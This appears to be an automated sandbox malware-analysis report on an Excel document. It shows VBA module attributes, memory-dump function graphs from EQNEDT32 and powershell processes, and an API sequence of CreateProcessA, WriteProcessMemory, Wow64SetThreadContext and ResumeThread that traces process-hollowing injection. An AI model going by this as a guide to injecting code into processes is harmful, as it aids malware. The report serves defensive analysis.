                            Attribute VB_GlobalNameSpace = False

                            4

                            Attribute VB_Creatable = False

                            5

                            Attribute VB_PredeclaredId = True

                            6

                            Attribute VB_Exposed = True

                            7

                            Attribute VB_TemplateDerived = False

                            8

                            Attribute VB_Customizable = True

                            Module: ThisWorkbook

                            Declaration
                            LineContent
                            1

                            Attribute VB_Name = "ThisWorkbook"

                            2

                            Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                            3

                            Attribute VB_GlobalNameSpace = False

                            4

                            Attribute VB_Creatable = False

                            5

                            Attribute VB_PredeclaredId = True

                            6

                            Attribute VB_Exposed = True

                            7

                            Attribute VB_TemplateDerived = False

                            8

                            Attribute VB_Customizable = True

                            Reset < >

                              Non-executed Functions

                              Function 0065BAED Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.491261819.0000000000651000.00000004.00000020.00020000.00000000.sdmp, Offset: 00651000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_651000_EQNEDT32.jbxd
                              Similarity
                              • API ID: __common_dcos_data
                              • String ID: )N+
                              • API String ID: 1949606188-177946550
                              • Opcode ID: 688e6be646f5fe925d7a7b31919da9370ec0720a3e807b357ebdae1fb2498188
                              • Instruction ID: 5b601bdad73a74a3d0750959dd9ddeff2f86c0f18a979d32dcd763f41e152152
                              • Opcode Fuzzy Hash: 688e6be646f5fe925d7a7b31919da9370ec0720a3e807b357ebdae1fb2498188
                              • Instruction Fuzzy Hash: CF215F6185E3C10FC7234B701C798A17FB29E97215B1E00EBC8C0CA4A7EA1D890EC367

                              Execution Graph

                              Execution Coverage:5.5%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:29%
                              Total number of Nodes:31
                              Total number of Limit Nodes:2
                              execution_graph 11738 357d08 11739 357d2f 11738->11739 11743 35a0e0 11739->11743 11752 359669 11739->11752 11740 357e3a 11745 359783 11743->11745 11744 35a169 11744->11740 11745->11744 11746 358e48 WriteProcessMemory 11745->11746 11761 3591e0 11745->11761 11765 358af8 11745->11765 11769 358b00 11745->11769 11773 358a10 11745->11773 11777 358a08 11745->11777 11746->11745 11753 3596ab 11752->11753 11754 35a169 11753->11754 11755 358a10 ResumeThread 11753->11755 11756 358a08 ResumeThread 11753->11756 11757 3591e0 CreateProcessA 11753->11757 11758 358b00 Wow64SetThreadContext 11753->11758 11759 358af8 Wow64SetThreadContext 11753->11759 11760 358e48 WriteProcessMemory 11753->11760 11754->11740 11755->11753 11756->11753 11757->11753 11758->11753 11759->11753 11760->11753 11762 359267 CreateProcessA 11761->11762 11764 3594c5 11762->11764 11766 358b01 Wow64SetThreadContext 11765->11766 11768 358bc7 11766->11768 11768->11745 11770 358b49 Wow64SetThreadContext 11769->11770 11772 358bc7 11770->11772 11772->11745 11774 358a54 ResumeThread 11773->11774 11776 358aa6 11774->11776 11776->11745 11778 358a54 ResumeThread 11777->11778 11780 358aa6 11778->11780 11780->11745

                              Executed Functions

                              Function 00359669 Relevance: 1.9, Strings: 1, Instructions: 659COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 529 359669-3596a9 530 3596b0-359782 529->530 531 3596ab 529->531 532 359783-359866 call 3591e0 530->532 531->530 538 35988f-3598b8 532->538 539 359868-359884 532->539 542 3598bf-359904 538->542 543 3598ba 538->543 539->538 547 359906 542->547 548 35990b-359937 542->548 543->542 547->548 550 3599a1-3599db 548->550 551 359939-359974 548->551 554 359a04-359a0e 550->554 555 3599dd-3599f9 550->555 556 359976-359992 551->556 557 35999d-35999f 551->557 558 359a15-359a2d 554->558 559 359a10 554->559 555->554 556->557 557->554 562 359a34-359a70 558->562 563 359a2f 558->563 559->558 567 359a72-359a8e 562->567 568 359a99-359a9f 562->568 563->562 567->568 569 359ad1-359ad3 568->569 570 359aa1-359acf 568->570 572 359ad9-359aed 569->572 570->572 573 359b16-359b20 572->573 574 359aef-359b0b 572->574 576 359b27-359b4b 573->576 577 359b22 573->577 574->573 582 359b52-359bb5 576->582 583 359b4d 576->583 577->576 586 359bb7-359bd3 582->586 587 359bde-359c1f call 358e48 582->587 583->582 586->587 590 359c21-359c3d 587->590 591 359c48-359c52 587->591 590->591 592 359c54 591->592 593 359c59-359c66 591->593 592->593 595 359c6d-359c8b 593->595 596 359c68 593->596 600 359c92-359c9e 595->600 601 359c8d 595->601 596->595 602 359e5e-359e7a 600->602 601->600 603 359e80-359ea4 602->603 604 359ca3-359cae 602->604 608 359ea6 603->608 609 359eab-359ee9 call 358e48 603->609 605 359cb5-359cdc 604->605 606 359cb0 604->606 611 359ce3-359d0a 605->611 612 359cde 605->612 606->605 608->609 614 359f12-359f1c 609->614 615 359eeb-359f07 609->615 617 359d11-359d48 611->617 618 359d0c 611->618 612->611 619 359f23-359f50 614->619 620 359f1e 614->620 615->614 627 359e2f-359e39 617->627 628 359d4e-359d5c 617->628 618->617 624 359f52-359f59 619->624 625 359f5a-359f63 619->625 620->619 624->625 629 359f65 625->629 630 359f6a-359f7a 625->630 631 359e40-359e51 627->631 632 359e3b 627->632 633 359d63-359d6a 628->633 634 359d5e 628->634 629->630 637 359f81-359fb2 630->637 638 359f7c 630->638 639 359e53 631->639 640 359e58 631->640 632->631 635 359d71-359db9 633->635 636 359d6c 633->636 634->633 647 359dc0-359de3 call 358e48 635->647 648 359dbb 635->648 636->635 643 359fb4-359fca 637->643 644 35a01c-35a056 637->644 638->637 639->640 640->602 677 359fcd call 358b00 643->677 678 359fcd call 358af8 643->678 650 35a07f-35a08e 644->650 651 35a058-35a074 644->651 654 359de5-359e05 647->654 648->647 649 359fcf-359fef 652 359ff1-35a00d 649->652 653 35a018-35a01a 649->653 674 35a091 call 358a10 650->674 675 35a091 call 358a08 650->675 651->650 652->653 653->650 658 359e07-359e23 654->658 659 359e2e 654->659 655 35a093-35a0b3 660 35a0b5-35a0d1 655->660 661 35a0dc-35a144 655->661 658->659 659->627 660->661 667 35a146 661->667 668 35a14b-35a163 661->668 667->668 668->532 669 35a169-35a171 668->669 674->655 675->655 677->649 678->649
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 8,
                              • API String ID: 0-487516499
                              • Opcode ID: 355b0e845d5902c440338786ce38b82b31e19661953578b3b3f241a6010fbb6a
                              • Instruction ID: 1fc7515dacd64de24b4f42b03f4c98c5988a7f6406dd8eda69b092684a805c95
                              • Opcode Fuzzy Hash: 355b0e845d5902c440338786ce38b82b31e19661953578b3b3f241a6010fbb6a
                              • Instruction Fuzzy Hash: EB62F674E00229CFDB69DF65C884BDDBBF2AF89305F5480EA9409A7295DB305E89CF50
                              Function 00693A08 Relevance: 10.5, Strings: 8, Instructions: 455COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 0 693a08-693a2b 1 693be9-693c35 0->1 2 693a31-693a36 0->2 12 693c3b-693c40 1->12 13 693dc1-693e0b 1->13 3 693a38-693a3e 2->3 4 693a4e-693a52 2->4 5 693a40 3->5 6 693a42-693a4c 3->6 7 693a58-693a5a 4->7 8 693b90-693b9a 4->8 5->4 6->4 10 693a6a 7->10 11 693a5c-693a68 7->11 14 693ba8-693bae 8->14 15 693b9c-693ba5 8->15 19 693a6c-693a6e 10->19 11->19 20 693c58-693c5c 12->20 21 693c42-693c48 12->21 32 693e11-693e16 13->32 33 693f62-693fa6 13->33 16 693bb0-693bb2 14->16 17 693bb4-693bc0 14->17 22 693bc2-693be6 16->22 17->22 19->8 26 693a74-693a78 19->26 23 693d71-693d7b 20->23 24 693c62-693c64 20->24 27 693c4a 21->27 28 693c4c-693c56 21->28 34 693d89-693d8f 23->34 35 693d7d-693d86 23->35 30 693c74 24->30 31 693c66-693c72 24->31 36 693a98 26->36 37 693a7a-693a96 26->37 27->20 28->20 42 693c76-693c78 30->42 31->42 44 693e18-693e1e 32->44 45 693e2e-693e32 32->45 88 693fa8-693faa 33->88 89 693fb4-693fcc 33->89 38 693d91-693d93 34->38 39 693d95-693da1 34->39 41 693a9a-693a9c 36->41 37->41 47 693da3-693dbe 38->47 39->47 41->8 50 693aa2-693aa6 41->50 42->23 51 693c7e-693c9d 42->51 53 693e20 44->53 54 693e22-693e2c 44->54 48 693e38-693e3a 45->48 49 693f0f-693f19 45->49 56 693e4a 48->56 57 693e3c-693e48 48->57 61 693f1b-693f24 49->61 62 693f27-693f2d 49->62 58 693ab9 50->58 59 693aa8-693ab7 50->59 86 693cad 51->86 87 693c9f-693cab 51->87 53->45 54->45 69 693e4c-693e4e 56->69 57->69 65 693abb-693abd 58->65 59->65 66 693f2f-693f31 62->66 67 693f33-693f3f 62->67 65->8 73 693ac3-693ac5 65->73 74 693f41-693f5f 66->74 67->74 69->49 72 693e54-693e58 69->72 79 693e78 72->79 80 693e5a-693e76 72->80 76 693adf-693af9 73->76 77 693ac7-693acd 73->77 97 693b08-693b1e 76->97 98 693afb-693afe 76->98 84 693acf 77->84 85 693ad1-693add 77->85 90 693e7a-693e7c 79->90 80->90 84->76 85->76 94 693caf-693cb1 86->94 87->94 88->89 102 693fce 89->102 103 693fd0-693fd2 89->103 90->49 91 693e82-693e85 90->91 101 693e8f-693e95 91->101 94->23 95 693cb7-693cd6 94->95 117 693cd8-693cde 95->117 118 693cee-693d0d 95->118 109 693b20-693b26 97->109 110 693b36-693b8d 97->110 98->97 108 693e9b-693e9d 101->108 106 693fdc-693fdd 102->106 103->106 112 693e9f-693ea5 108->112 113 693eb5-693f0c 108->113 114 693b28 109->114 115 693b2a-693b2c 109->115 119 693ea9-693eab 112->119 120 693ea7 112->120 114->110 115->110 122 693ce0 117->122 123 693ce2-693ce4 117->123 126 693d0f-693d12 118->126 127 693d14-693d62 118->127 119->113 120->113 122->118 123->118 128 693d67-693d6e 126->128 127->128
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$4'p$4'p$4'p$4'p$h%f$h%f
                              • API String ID: 0-3907076048
                              • Opcode ID: 6123c5f59b9c2a8a61d42c3c8784bb1138e961a5416d5112d564f651dd8ec69e
                              • Instruction ID: d8c0c54091be99450f7b819c869258c6013b747dd52a1e390828c9c50cc895db
                              • Opcode Fuzzy Hash: 6123c5f59b9c2a8a61d42c3c8784bb1138e961a5416d5112d564f651dd8ec69e
                              • Instruction Fuzzy Hash: 56E12531B003259FCF149E38C8506AABBFBAFC5310F2480AAD945CB755DA71CE46C7A2
                              Function 006952B4 Relevance: 7.6, Strings: 5, Instructions: 1336COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 135 6952b4-6952b7 136 6952b9-6952bb 135->136 137 6952bd-6952c5 135->137 136->137 138 6952dd-6952de 137->138 139 6952c7-6952cd 137->139 140 6952e0-6952e1 138->140 141 6952f4-6952f7 138->141 142 6952cf 139->142 143 6952d1-6952db 139->143 144 69540c-695416 140->144 145 6952e2-6952e8 140->145 146 6952fa-6952fe 141->146 142->138 143->138 149 695418-695421 144->149 150 695424-69542a 144->150 145->146 148 6952ea-6952eb 145->148 151 695464-6954b3 146->151 152 695304-695309 146->152 153 69532b 148->153 154 6952ed-6952f3 148->154 155 69542c-69542e 150->155 156 695430-69543c 150->156 165 6954b9-6954be 151->165 166 6956b6-6956c3 151->166 157 69530b-695311 152->157 158 695321-695329 152->158 159 69532d-69532f 153->159 161 69543e-695461 155->161 156->161 162 695313 157->162 163 695315-69531f 157->163 158->159 159->144 164 695335-695339 159->164 162->158 163->158 164->144 171 69533f-695343 164->171 172 6954c0-6954c6 165->172 173 6954d6-6954da 165->173 171->144 174 695349-69536f 171->174 175 6954c8 172->175 176 6954ca-6954d4 172->176 177 69565f-695669 173->177 178 6954e0-6954e2 173->178 174->144 196 695375-695379 174->196 175->173 176->173 180 69566b-695672 177->180 181 695675-69567b 177->181 183 6954f2 178->183 184 6954e4-6954f0 178->184 186 69567d-69567f 181->186 187 695681-69568d 181->187 185 6954f4-6954f6 183->185 184->185 185->177 190 6954fc-69551b 185->190 191 69568f-6956b3 186->191 187->191 204 69552b 190->204 205 69551d-695529 190->205 197 69537b-695384 196->197 198 69539c 196->198 202 69538b-695398 197->202 203 695386-695389 197->203 199 69539f-6953ac 198->199 208 6953b2-695409 199->208 206 69539a 202->206 203->206 209 69552d-69552f 204->209 205->209 206->199 209->177 211 695535-695539 209->211 211->177 212 69553f-695543 211->212 213 695545-695554 212->213 214 695556 212->214 215 695558-69555a 213->215 214->215 215->177 216 695560-695564 215->216 216->177 217 69556a-695589 216->217 220 69558b-695591 217->220 221 6955a1-6955ac 217->221 222 695593 220->222 223 695595-695597 220->223 224 6955bb-6955d7 221->224 225 6955ae-6955b1 221->225 222->221 223->221 226 6955d9-6955ec 224->226 227 6955f4-6955fe 224->227 225->224 226->227 228 695600 227->228 229 695602-695650 227->229 230 695655-69565c 228->230 229->230
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: (op$(op$L4p$L4p$L4p
                              • API String ID: 0-2509652690
                              • Opcode ID: 68633f80ac00188ca7e5d9a492b2785ef34f454a03804b98f16b265b5d02d50f
                              • Instruction ID: 1e38f89135808a1c9fea78badf266b14933d46868733ce601fc427e8e20faa40
                              • Opcode Fuzzy Hash: 68633f80ac00188ca7e5d9a492b2785ef34f454a03804b98f16b265b5d02d50f
                              • Instruction Fuzzy Hash: 14C12634700744DFDF169F28C850BAEBBA7AF84310F24846AE9528B792DB71DC86CB51
                              Function 003591E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323processCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 237 3591e0-359279 239 3592c2-3592ea 237->239 240 35927b-359292 237->240 243 359330-359386 239->243 244 3592ec-359300 239->244 240->239 245 359294-359299 240->245 254 3593cc-3594c3 CreateProcessA 243->254 255 359388-35939c 243->255 244->243 252 359302-359307 244->252 246 3592bc-3592bf 245->246 247 35929b-3592a5 245->247 246->239 249 3592a7 247->249 250 3592a9-3592b8 247->250 249->250 250->250 253 3592ba 250->253 256 359309-359313 252->256 257 35932a-35932d 252->257 253->246 273 3594c5-3594cb 254->273 274 3594cc-3595b1 254->274 255->254 263 35939e-3593a3 255->263 258 359315 256->258 259 359317-359326 256->259 257->243 258->259 259->259 262 359328 259->262 262->257 264 3593a5-3593af 263->264 265 3593c6-3593c9 263->265 267 3593b1 264->267 268 3593b3-3593c2 264->268 265->254 267->268 268->268 269 3593c4 268->269 269->265 273->274 286 3595c1-3595c5 274->286 287 3595b3-3595b7 274->287 289 3595d5-3595d9 286->289 290 3595c7-3595cb 286->290 287->286 288 3595b9 287->288 288->286 292 3595e9-3595ed 289->292 293 3595db-3595df 289->293 290->289 291 3595cd 290->291 291->289 295 359623-35962e 292->295 296 3595ef-359618 292->296 293->292 294 3595e1 293->294 294->292 296->295
                              APIs
                              • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 003594A7
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID: CreateProcess
                              • String ID: 8,$8,$8,
                              • API String ID: 963392458-80516121
                              • Opcode ID: 57f890d32183d2d4a68dffd33196f17eda8a1b588f74f007daab76a7f1571cc8
                              • Instruction ID: c294d0cdc5e7f2d33718006cda7c18fc1f424657e7f18f201afeb7b15b9ffd96
                              • Opcode Fuzzy Hash: 57f890d32183d2d4a68dffd33196f17eda8a1b588f74f007daab76a7f1571cc8
                              • Instruction Fuzzy Hash: 7FC1F471D00219CFDF25CFA8C841BEDBBB1BB49301F0095AAD859A7290DB749A89CF95
                              Function 006943E8 Relevance: 6.6, Strings: 5, Instructions: 366COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 300 6943e8-69440b 301 694411-694416 300->301 302 6945e6-694612 300->302 303 694418-69441e 301->303 304 69442e-694432 301->304 315 69465f-694699 302->315 316 694614-694619 302->316 306 694420 303->306 307 694422-69442c 303->307 308 694438-69443c 304->308 309 694593-69459d 304->309 306->304 307->304 313 69444f 308->313 314 69443e-69444d 308->314 311 6945ab-6945b1 309->311 312 69459f-6945a8 309->312 318 6945b3-6945b5 311->318 319 6945b7-6945c3 311->319 320 694451-694453 313->320 314->320 331 6946b8 315->331 332 69469b-6946b6 315->332 321 69461b-694621 316->321 322 694631-694649 316->322 323 6945c5-6945e3 318->323 319->323 320->309 324 694459-694479 320->324 326 694623 321->326 327 694625-69462f 321->327 334 69464b-69464d 322->334 335 694657-69465c 322->335 343 694498 324->343 344 69447b-694496 324->344 326->322 327->322 336 6946ba-6946bc 331->336 332->336 334->335 341 69474a-694754 336->341 342 6946c2-6946c6 336->342 346 694760-694766 341->346 347 694756-69475d 341->347 342->341 345 6946cc-6946e9 342->345 350 69449a-69449c 343->350 344->350 356 694799-69479e 345->356 357 6946ef-6946f1 345->357 348 694768-69476a 346->348 349 69476c-694778 346->349 353 69477a-694796 348->353 349->353 350->309 355 6944a2-6944a4 350->355 359 6944b4 355->359 360 6944a6-6944b2 355->360 356->357 361 69470b-694720 357->361 362 6946f3-6946f9 357->362 365 6944b6-6944b8 359->365 360->365 374 6947a3-6947d4 361->374 375 694726-694744 361->375 366 6946fb 362->366 367 6946fd-694709 362->367 365->309 369 6944be-6944de 365->369 366->361 367->361 381 6944e0-6944e6 369->381 382 6944f6-6944fa 369->382 379 6947e4 374->379 380 6947d6-6947e2 374->380 375->341 383 6947e6-6947e8 379->383 380->383 384 6944e8 381->384 385 6944ea-6944ec 381->385 386 6944fc-694502 382->386 387 694514-694518 382->387 388 69480a-694814 383->388 389 6947ea-6947ee 383->389 384->382 385->382 390 694504 386->390 391 694506-694512 386->391 392 69451f-694521 387->392 394 69481e-694824 388->394 395 694816-69481b 388->395 389->388 393 6947f0-694807 389->393 390->387 391->387 396 694539-694590 392->396 397 694523-694529 392->397 398 69482a-694836 394->398 399 694826-694828 394->399 401 69452b 397->401 402 69452d-69452f 397->402 405 694838-694852 398->405 399->405 401->396 402->396
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$$p$$p$$p
                              • API String ID: 0-2334450948
                              • Opcode ID: d082be3c3c3dbab1516e828a654f7fb4cc80cb28bb93e78812b4701e397715ed
                              • Instruction ID: 2683cb555bbc63eecb573a117f418b9c05280d7ecfdc19c78311b81e73395398
                              • Opcode Fuzzy Hash: d082be3c3c3dbab1516e828a654f7fb4cc80cb28bb93e78812b4701e397715ed
                              • Instruction Fuzzy Hash: 2FC114357043449FCF259AA89811FAABBEBAFC6311F28806AD445CB791DE71CC43C762
                              Function 006943C9 Relevance: 3.9, Strings: 3, Instructions: 109COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 409 6943c9-6943de 410 6943e1 409->410 410->410 411 6943e3-69440b 410->411 413 694411-694416 411->413 414 6945e6-694612 411->414 415 694418-69441e 413->415 416 69442e-694432 413->416 427 69465f-694699 414->427 428 694614-694619 414->428 418 694420 415->418 419 694422-69442c 415->419 420 694438-69443c 416->420 421 694593-69459d 416->421 418->416 419->416 425 69444f 420->425 426 69443e-69444d 420->426 423 6945ab-6945b1 421->423 424 69459f-6945a8 421->424 430 6945b3-6945b5 423->430 431 6945b7-6945c3 423->431 432 694451-694453 425->432 426->432 443 6946b8 427->443 444 69469b-6946b6 427->444 433 69461b-694621 428->433 434 694631-694649 428->434 435 6945c5-6945e3 430->435 431->435 432->421 436 694459-694479 432->436 438 694623 433->438 439 694625-69462f 433->439 446 69464b-69464d 434->446 447 694657-69465c 434->447 455 694498 436->455 456 69447b-694496 436->456 438->434 439->434 448 6946ba-6946bc 443->448 444->448 446->447 453 69474a-694754 448->453 454 6946c2-6946c6 448->454 458 694760-694766 453->458 459 694756-69475d 453->459 454->453 457 6946cc-6946e9 454->457 462 69449a-69449c 455->462 456->462 468 694799-69479e 457->468 469 6946ef-6946f1 457->469 460 694768-69476a 458->460 461 69476c-694778 458->461 465 69477a-694796 460->465 461->465 462->421 467 6944a2-6944a4 462->467 471 6944b4 467->471 472 6944a6-6944b2 467->472 468->469 473 69470b-694720 469->473 474 6946f3-6946f9 469->474 477 6944b6-6944b8 471->477 472->477 486 6947a3-6947d4 473->486 487 694726-694744 473->487 478 6946fb 474->478 479 6946fd-694709 474->479 477->421 481 6944be-6944de 477->481 478->473 479->473 493 6944e0-6944e6 481->493 494 6944f6-6944fa 481->494 491 6947e4 486->491 492 6947d6-6947e2 486->492 487->453 495 6947e6-6947e8 491->495 492->495 496 6944e8 493->496 497 6944ea-6944ec 493->497 498 6944fc-694502 494->498 499 694514-694518 494->499 500 69480a-694814 495->500 501 6947ea-6947ee 495->501 496->494 497->494 502 694504 498->502 503 694506-694512 498->503 504 69451f-694521 499->504 506 69481e-694824 500->506 507 694816-69481b 500->507 501->500 505 6947f0-694807 501->505 502->499 503->499 508 694539-694590 504->508 509 694523-694529 504->509 510 69482a-694836 506->510 511 694826-694828 506->511 513 69452b 509->513 514 69452d-69452f 509->514 517 694838-694852 510->517 511->517 513->508 514->508
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$$p$$p
                              • API String ID: 0-2931952147
                              • Opcode ID: 3e23f58f5e13e9d20f512e99d25b28ba422514def556166eae8866a30c42932f
                              • Instruction ID: ebe412784885d35cbb001888bdaba4cc507a3e3a351dfccfc39a9844d727469b
                              • Opcode Fuzzy Hash: 3e23f58f5e13e9d20f512e99d25b28ba422514def556166eae8866a30c42932f
                              • Instruction Fuzzy Hash: D031F370600304CFDF258E648411FAA7BFBEF85711F6980669444DBA92EE71CD43C721
                              Function 00694DF7 Relevance: 2.5, Strings: 2, Instructions: 23COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 521 694df7-694e0f 523 694e16-694e18 521->523 524 694e1a-694e20 523->524 525 694e30-694e87 523->525 526 694e22 524->526 527 694e24-694e26 524->527 526->525 527->525
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p
                              • API String ID: 0-3973980265
                              • Opcode ID: 05c339523d57d6cd379fd7df51ea0064dc65f35bfc838693a58ed4c2c2895d61
                              • Instruction ID: 1a5de13dc028083d5a2f052acbb0cb75274dcc980194921a9eccbfabe0e31949
                              • Opcode Fuzzy Hash: 05c339523d57d6cd379fd7df51ea0064dc65f35bfc838693a58ed4c2c2895d61
                              • Instruction Fuzzy Hash: 93E0D8317042409BDF196674A0217EDBBA77FD2255F64809BC48086759CE318D17C392
                              Function 00358E48 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 680 358e48-358eb3 682 358eb5-358ec7 680->682 683 358eca-358f31 WriteProcessMemory 680->683 682->683 685 358f33-358f39 683->685 686 358f3a-358f8c 683->686 685->686
                              APIs
                              • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00358F1B
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID: MemoryProcessWrite
                              • String ID:
                              • API String ID: 3559483778-0
                              • Opcode ID: b2acfe6e5cd095296ff718a4d1ce337f56f7ffe28b367aa4a021aef14d5a0cae
                              • Instruction ID: d3e9b43e7f5033b97825c1329f7afd2403fa3b400bc0af3dfbd5b9ce12507822
                              • Opcode Fuzzy Hash: b2acfe6e5cd095296ff718a4d1ce337f56f7ffe28b367aa4a021aef14d5a0cae
                              • Instruction Fuzzy Hash: 324198B5D012589FCF00CFA9D984AEEFBF1BB49314F24942AE818B7250D774AA45CF64
                              Function 00358AF8 Relevance: 1.6, APIs: 1, Instructions: 99threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 691 358af8-358b60 694 358b77-358bc5 Wow64SetThreadContext 691->694 695 358b62-358b74 691->695 697 358bc7-358bcd 694->697 698 358bce-358c1a 694->698 695->694 697->698
                              APIs
                              • Wow64SetThreadContext.KERNEL32(?,?), ref: 00358BAF
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID: ContextThreadWow64
                              • String ID:
                              • API String ID: 983334009-0
                              • Opcode ID: 9fd15474303e17bdc74a1d050f36d60840f802e024bef25cd93b75aed525f97e
                              • Instruction ID: 671c22669062f111d29d34cd9433ee6b94f2037beb927a5c5f9fa74c00ccab0f
                              • Opcode Fuzzy Hash: 9fd15474303e17bdc74a1d050f36d60840f802e024bef25cd93b75aed525f97e
                              • Instruction Fuzzy Hash: 2B41BCB4D012589FCF10CFA9D984AEEBBB5AF49314F14802AE814B7254D7789949CF54
                              Function 00358B00 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 703 358b00-358b60 705 358b77-358bc5 Wow64SetThreadContext 703->705 706 358b62-358b74 703->706 708 358bc7-358bcd 705->708 709 358bce-358c1a 705->709 706->705 708->709
                              APIs
                              • Wow64SetThreadContext.KERNEL32(?,?), ref: 00358BAF
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID: ContextThreadWow64
                              • String ID:
                              • API String ID: 983334009-0
                              • Opcode ID: b6b8f90b4f4426bdb2da9a1318054cac99c88df29efbfe6d83b8ee32ebbddb09
                              • Instruction ID: 8e10725fe051b23757faeb8b21478c2a847fd8a859199468ab177b4a5801c231
                              • Opcode Fuzzy Hash: b6b8f90b4f4426bdb2da9a1318054cac99c88df29efbfe6d83b8ee32ebbddb09
                              • Instruction Fuzzy Hash: 6741ACB4D012589FCF10CFA9D984AEEFBB5AF49314F24802AE814B7250D778A949CF54
                              Function 00358A08 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 714 358a08-358aa4 ResumeThread 717 358aa6-358aac 714->717 718 358aad-358aef 714->718 717->718
                              APIs
                              • ResumeThread.KERNELBASE(?), ref: 00358A8E
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID: ResumeThread
                              • String ID:
                              • API String ID: 947044025-0
                              • Opcode ID: 758f8f11045d23cd2cdbd1981cc5aedfe7d107cfa536e2b3eefe22d1a56328bb
                              • Instruction ID: a39da361c4c9d2a13aacdb708e0a172a5ab0cc0999ac77a2ca83ae78aaaf00b9
                              • Opcode Fuzzy Hash: 758f8f11045d23cd2cdbd1981cc5aedfe7d107cfa536e2b3eefe22d1a56328bb
                              • Instruction Fuzzy Hash: F731D9B4D012589FCF10CFA9E984AEEFBB1AF49314F24846AE815B7350C775A906CF94
                              Function 00358A10 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 723 358a10-358aa4 ResumeThread 726 358aa6-358aac 723->726 727 358aad-358aef 723->727 726->727
                              APIs
                              • ResumeThread.KERNELBASE(?), ref: 00358A8E
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
